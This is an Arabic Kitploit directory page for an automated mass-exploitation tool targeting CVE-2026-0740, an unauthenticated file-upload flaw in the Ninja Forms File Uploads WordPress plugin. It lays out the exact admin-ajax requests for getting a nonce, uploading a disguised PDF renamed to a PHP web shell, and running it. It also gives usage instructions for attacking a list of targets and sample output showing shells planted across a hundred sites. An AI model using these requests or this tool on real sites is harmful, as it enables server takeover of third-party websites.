Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
CVE-2026-0740 — أداة استغلال جماعي آلية لثغرة CVE-2026-0740، وهي رفع ملفات تعسفي دون مصادقة في إضافة Ninja Forms File Uploads، مما يتيح تنفيذ الأكواد عن بُعد عبر عمليات رفع مُصمّمة خصيصًا. | Kitploit
أدوات/GitHubGitHub/xshadow-here/cve-2026-0740
ماسحات الثغرات الأمنيةتوليد الحمولةالاستغلالاستغلال تطبيقات الويبأمن الويباختبار الاختراق
GitHubxshadow-here/cve-2026-0740

CVE-2026-0740

أداة استغلال جماعي آلية لثغرة CVE-2026-0740، وهي رفع ملفات تعسفي دون مصادقة في إضافة Ninja Forms File Uploads، مما يتيح تنفيذ الأكواد عن بُعد عبر عمليات رفع مُصمّمة خصيصًا.

عرض المستودع
3منذ 4 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

CVE-2026-0740 : Ninja Forms - File Upload <= 3.3.26 رفع ملفات تعسفي غير مصادق عليه.

الوصف :

إن إضافة Ninja Forms - File Uploads الخاصة بووردبريس معرضة لرفع ملفات تعسفي غير مصادق عليه بسبب عدم التحقق من نوع الملف وعدم وجود فحوصات للصلاحيات في الدالة 'NF_FU_AJAX_Controllers_Uploads::handle_upload' في جميع الإصدارات حتى 3.3.26 وما يشملها.

يسمح هذا الخلل للمهاجمين غير المصادقين بـ:

  • توليد nonce صالح لأي field_id.
  • رفع ملفات تعسفية باستخدام تقنية تجاوز القائمة البيضاء.
  • فرض إعادة تسمية من جهة الخادم من امتداد مسموح به (.pdf) إلى امتداد PHP.
  • سيتم تخزين الويب شيل المرفوع في: → /wp-content/uploads/ninja-forms/tmp/
  • تحقيق تنفيذ التعليمات البرمجية عن بُعد (RCE) على الخادم المتأثر.

معلومات : CVE-2026-0740

~ درجة CVSS: 9.8 (حرجة)

~ الإصدارات المتأثرة: <= 3.3.26

  • الباحث : Sélim Lanouar-(whattheslime)

ناقل الهجوم

root@kitploit:~
الخطوة 1: الحصول على Nonce
────────────────────────────────────
POST /wp-admin/admin-ajax.php
البيانات: action=nf_fu_get_new_nonce&field_id=7&form_id=7

الاستجابة: {"success":true,"data":{"nonce":"7a850757a1"}}

              │
              ▼

الخطوة 2: رفع ملف مقنّع + إعادة تسميته إلى PHP
──────────────────────────────────────────────
POST /wp-admin/admin-ajax.php
البيانات:
- action=nf_fu_upload
- nonce=7a850757a1
- field_id=7
- form_id=7
- [email protected] (امتداد مسموح به)
- doc_pdf=shadow.php (هدف إعادة التسمية)

              │
              ▼

الخطوة 3: الخادم يخزّن الملف الخبيث
─────────────────────────────────────
الموقع: /wp-content/uploads/ninja-forms/tmp/shadow.php
المحتوى: شيل PHP (رافع / ويب شيل)

              │
              ▼

الخطوة 4: تنفيذ الملف المرفوع
────────────────────────────────────
GET /wp-content/uploads/ninja-forms/tmp/shadow.php
→ تنفيذ الويب شيل
→ السيطرة الكاملة على الخادم
root@kitploit:~
- استنتاجات من التجارب الميدانية:

1. نقطة النهاية `nf_fu_get_new_nonce` تُرجع nonce صالحًا دون التحقق من وجود الحقل
   → لا يوجد تحقق من معاملات `field_id` و `form_id` (أي معرّف عشوائي يعمل)

2. خلل منطقي حرج في وظيفة إعادة التسمية
   → الإضافة تقبل اسم ملف يوفّره المستخدم عبر معامل POST
   → لا يوجد تحقق من الامتداد النهائي للملف بعد إعادة التسمية

3. الملف المرفوع يُخزَّن مباشرة في دليل يمكن الوصول إليه عبر الويب
   → /wp-content/uploads/ninja-forms/tmp/

4. مالك هذه الأداة وسيم جدًا

الميزات :

  • جلب nonce تلقائيًا
  • استغلال بالمعرّف الافتراضي
  • معالجة الأخطاء
  • حفظ النتائج تلقائيًا في shell.txt

الاستخدام :

  • تأكد من أن اسم الملف هو list.txt وأنه في نفس الدليل
  • python/python3 shadow.py

المخرجات :

root@kitploit:~
˚⊱🪷⊰˚ NINJA FORMS MASS EXPLOITER ˚⊱🪷⊰˚
 ╰┈➤ عرض الاستجابة الكاملة

[+] تم تحميل 100 هدف

[1/100]
😈 [FRISKA RESEARCHER] هجوم على: https://example.com
[*] جاري الحصول على nonce...
[*] حالة HTTP: 400
[*] الاستجابة: 0
[-] خطأ HTTP: 400

[2/100]
😈 [FRISKA RESEARCHER] هجوم على: https://www.test.com
[*] جاري الحصول على nonce...
[*] حالة HTTP: 200
[*] الاستجابة: {"success":true,"data":{"nonce":"b0404ec210","nonce_expiry":1775648146}}
[+] Nonce: b0404ec210
[*] جاري رفع الشيل...
[*] استجابة الرفع: {"data":{"files":[{"name":"doc.pdf","full_path":"doc.pdf","type":"application\/pdf","tmp_name":"shadow.php","error":0,"size":246,"new_tmp_key":"doc_pdf"}]},"errors":[],"debug":[]}

============================================================
🔥 رافع الشيل: https://www.test.com/wp-content/uploads/ninja-forms/tmp/shadow.php
============================================================

هذه الأداة مخصصة لأغراض تعليمية واختبار الأمان فقط.

الاستخدام غير المصرح به للأنظمة التي لا تملكها أو ليس لديك إذن لاختبارها يعد غير قانوني.

تنزيل الأداة